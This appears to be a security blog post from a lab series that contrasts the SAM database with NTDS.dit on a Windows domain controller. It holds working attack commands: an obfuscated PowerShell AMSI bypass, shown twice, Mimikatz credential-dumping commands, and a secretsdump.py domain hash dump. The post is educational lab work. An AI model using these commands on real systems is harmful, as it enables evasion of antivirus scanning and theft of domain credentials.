Back to the Basics; NTDS.dit vs SAM

8 min readJul 8, 2022

TL;DR A discussion of the SAM vs the NTDS.dit DBs on a Windows Domain Controller (DC). Yes I know this is IT 101 stuff, but I recently saw a certification org get this wrong, so.

Welcome to Part I of our ‘Back to the Basics’ series!

Part I: NTDS.dit vs SAM

Part II: Ownership Matters

Part III: Recovering from a Crash

Part IV: Setting up a Simple Honeypot Account

Part V: Automating DC Deployment

Part VI: Sometimes it’s the dumbest thing

Part VII: Merry Christmas, macros, & Base64

Part VIII: Why old 0 Days make great teaching tools

Part IX: PowerShell & PS1s without PowerShell.exe

Part X: Ownership & so called “effective permissions”

Part XI: Windows Event Forwarding & SACLs

Part XII: Poorly planned honeypots & other Bad Ideas

Part XIII: Setting up a simple honey token

Part XIV: Smartcards and Pass-the-Hash

Part XV: Forwarding logs to Sentinel & basic alerts

Part XVI: Automating VM deployments in Hyper-V

Part XVII: Migrating the lab from ESXi to Hyper-V

Background

Here at test.local we like to write about hands on lab projects that we have done. We really like to do deep dives into the weeds when it is a topic we could not immediately find on Google. An example was enumerating ACLs in AD. Most of what we found on Google involved using PowerView to enumerate these. The issue is that PowerView, while free, is not builtin, tends to trip Microsoft Defender, and hence is not really ‘living off the land’. Therefore we figured out how to enumerate and modify AD ACLs using the builtin PowerShell ActiveDirectory module, mostly by modifying examples found on Google of setting ACLs on NTFS. This topic was rather arcane so we ended up running a 9 part series on it that is not even complete yet.

However it recently came to our attention that some out there are stuck back at the basics, i.e. IT 101 stuff. An old friend of ours who was studying for and recently passed a certification exam messaged us asking about something related to Windows domains that was in the course material.

The particular certification organization shall remain nameless here, but suffice to say it is a ‘vendor neutral’ information security certification org and is not CompTIA or ISC2.

On a sidnote, if there is any reader interest in ‘Back to the Basics’ articles like this, and we find anything else to write about, then we can continue and turn it into a series.

Where the confusion came from

Our friend asked us about something in the course material they were studying. It was regarding an attacker dumping the SAM database from a Domain Controller (DC) and cracking the hashes contained in it. I can understand why they were confused, I was too. This scenario in the course material didn’t make any sense.

What’s odd here?

Do DCs even have a SAM? They have a DB called NTDS.dit, which is Active Directory (AD) itself. AD is essentially a DB containing every object, every user account, every computer account, everything in the domain. By default all Domain Users can query this DB and pull information about these objects, for example the phone # or email address of a user. They cannot pull sensitive information such as LAPS passwords or NTLM hashes that are also stored in AD. However an attacker who gains sufficient privileges can pull everything, including sensitive information, via DCSync, secretsdump.py, or other methods.

Dumping NTDS.dit is the proverbial Holy Grail of attacks against a Windows domain. If an attacker can do this then they can do anything they want ‘on prem’, and likely pivot into AAD if the victim organization is using hybrid AD.

However this cert org specifically stated “the SAM”, not NTDS.dit. They did not say “DCSync”. They did not claim “the attacker ran secretsdump”. What gives?

The SAM DB

Normally attackers would dump the SAM on a domain workstation if they manage to gain local administrator access to it. We covered this exact scenario here late last summer after HiveNightmare hit the news. HiveNightmare was a Windows 10 flaw uncovered by security researchers. The cliff notes of it was that MS gave everyone read access to the SAM DB following a Windows update. Any Domain Users who had last logged into that workstation, by default the last 10, would be in that SAM. However their NTLM is not stored in the SAM, rather it is mscache. This was not well covered by Google at the time, probably because until Microsoft’s oopsie it was not easy to dump the SAM. Mscache cannot be abused via PTH, and cracking it took considerably longer than NTLM even when the password was in rockyou.txt.

However attacks against the SAM on domain workstations if an attacker manages to gain local admin access are a valid concern. Therefore best practice dictates limiting where Domain Admins login, password strength, usage of the Protected Users group, etc.

So do DCs even have a SAM?

Google’s answer on this was mixed. Some claimed that DC’s don’t have a SAM or local accounts. Others explained how they manually setup a telnet server and ran it as the local system account (https://serverfault.com/questions/937695/why-are-users-created-on-the-domain-controller-always-part-of-the-domain). For the love of all things security, please DO NOT follow that advice!!!

Here at test.local we don’t really like academic questions though, so to find our own answer to this question we went to the lab.

Dumping the SAM

This part is relatively simple. One can dump the SAM from a DC the same way one would do so from a domain workstation. Doing so just requires local admin privileges.

S`eT-It`em ( ‘V’+’aR’ + ‘IA’ + (‘blE:1’+’q2') + (‘uZ’+’x’) ) ( [TYpE]( “{1}{0}”-F’F’,’rE’ ) ) ; ( Get-varI`A`BLE ( (‘1Q’+’2U’) +’zX’ ) -VaL ).”A`ss`Embly”.”GET`TY`Pe”(( “{6}{3}{1}{4}{2}{0}{5}” -f(‘Uti’+’l’),’A’,(‘Am’+’si’),(‘.Man’+’age’+’men’+’t.’),(‘u’+’to’+’mation.’),’s’,(‘Syst’+’em’) ) ).”g`etf`iElD”( ( “{0}{2}{1}” -f(‘a’+’msi’),’d’,(‘I’+’nitF’+’aile’) ),( “{2}{4}{0}{1}{3}” -f (‘S’+’tat’),’i’,(‘Non’+’Publ’+’i’),’c’,’c,’ )).”sE`T`VaLUE”( ${n`ULl},${t`RuE} )Import-Module C:\Temp\Invoke-Mimikatz.ps1
Invoke-Mimikatz -Command ‘“privilege::debug”’
Invoke-Mimikatz -Command ‘“token::elevate”’
Invoke-Mimikatz -Command ‘“lsadump::sam”’

As suspected, we only see the Administrator and a Guest account. We do not see any Domain User accounts. This Administrator is not the builtin Administrator account on the domain, aka SID 500. We can verify this by copy/pasting the NTLM and running it past crackstation.net.

DSRM

So if this isn’t the builtin Administrator, SID 500 account on the domain then what is it? It’s the Directory Services Restore Mode (DSRM) account. This account can be used to boot up a DC, login, and attempt to recover AD. Obviously if AD has an issue then you cannot login to a domain account, hence the need for a DSRM account.

We can confirm that this is indeed the DSRM account in the SAM by simply changing the DSRM password, dumping the SAM again, and then running the new NTLM past crackstation.net again.

Ntdsutil.exe
set dsrm password
reset password on server null
<enter pwd twice>
q
q

Dumping NTDS.dit

One can dump all the domain accounts’ NTLM via Mimikatz:

S`eT-It`em ( ‘V’+’aR’ + ‘IA’ + (‘blE:1’+’q2') + (‘uZ’+’x’) ) ( [TYpE]( “{1}{0}”-F’F’,’rE’ ) ) ; ( Get-varI`A`BLE ( (‘1Q’+’2U’) +’zX’ ) -VaL ).”A`ss`Embly”.”GET`TY`Pe”(( “{6}{3}{1}{4}{2}{0}{5}” -f(‘Uti’+’l’),’A’,(‘Am’+’si’),(‘.Man’+’age’+’men’+’t.’),(‘u’+’to’+’mation.’),’s’,(‘Syst’+’em’) ) ).”g`etf`iElD”( ( “{0}{2}{1}” -f(‘a’+’msi’),’d’,(‘I’+’nitF’+’aile’) ),( “{2}{4}{0}{1}{3}” -f (‘S’+’tat’),’i’,(‘Non’+’Publ’+’i’),’c’,’c,’ )).”sE`T`VaLUE”( ${n`ULl},${t`RuE} ). C:\Temp\Invoke-Mimikatz.ps1
Invoke-Mimikatz -Command ‘“lsadump::lsa /inject”’

Alternatively one can get easier to use output by running

Invoke-Mimikatz -Command ‘“lsadump::lsa /inject”’ | Out-File hashes.txt

Then just Ctrl+F the resulting text file to find a particular user’s NTLM.

Or via secretsdump.py:

cd /home/kali/Downloads/impacket-master/examplespython3 secretsdump.py -just-dc-ntlm corp/administrator@192.168.0.110

Naturally one could also pipe secretsdump output into a text file to search later.

Why would an attacker dump NTDS.dit?

One can pull the krbtgt NTLM using Mimikatz’s DCSync if they manage to gain privileges on the domain, the same privileges that would be required to dump all the NTLM hashes. So why would an attacker dump the whole thing? The simple answer is the habits of the typical user and something called ‘Password Reuse’.

People have the tendency to use the same password across multiple services. Thus Dave in HR might be using the same password in AD that they use on a third party payroll system that contains all sorts of employee PII that an attacker could sell to identity thieves on the dark web. Maybe Dan in Accounting is using the same password in AD that they use to access the corporation’s bank account.

There’s many possibilities here and an attacker is likely to explore them. Password Reuse expands the attack surface in ways that can be completely unforeseen by the organization.

SAM vs NTDS.dit

None of this is in the SAM though. Domain workstations might have up to the last 10 Domain Users cached, but this means compromising dozens or hundreds of workstations to put together a significant chunk of hashes. Additionally these will be mscache hashes, not NTLM. The DC’s SAM does not have anything that will help an attacker gain further privileges. It might help them maintain persistence (https://adsecurity.org/?p=1785), but that’s about it.

Therefore the real prize for attackers is the NTDS.dit. Human nature and statistics mean that an attacker is almost bound to get lucky and find at least a few plaintext passwords that may in turn get them into further third party systems, due to human nature and Password Reuse.

Summary

A infosec certification organization should know this though. Anyone who claims to know much about Windows security should know the difference between the SAM and NTDS.dit, what an attacker can glean from each, and how an attacker would use what they find.

The fact that this particular cert org seems to genuinely not know kinda throws suspicion on their entire organization and everything they teach in their course materials.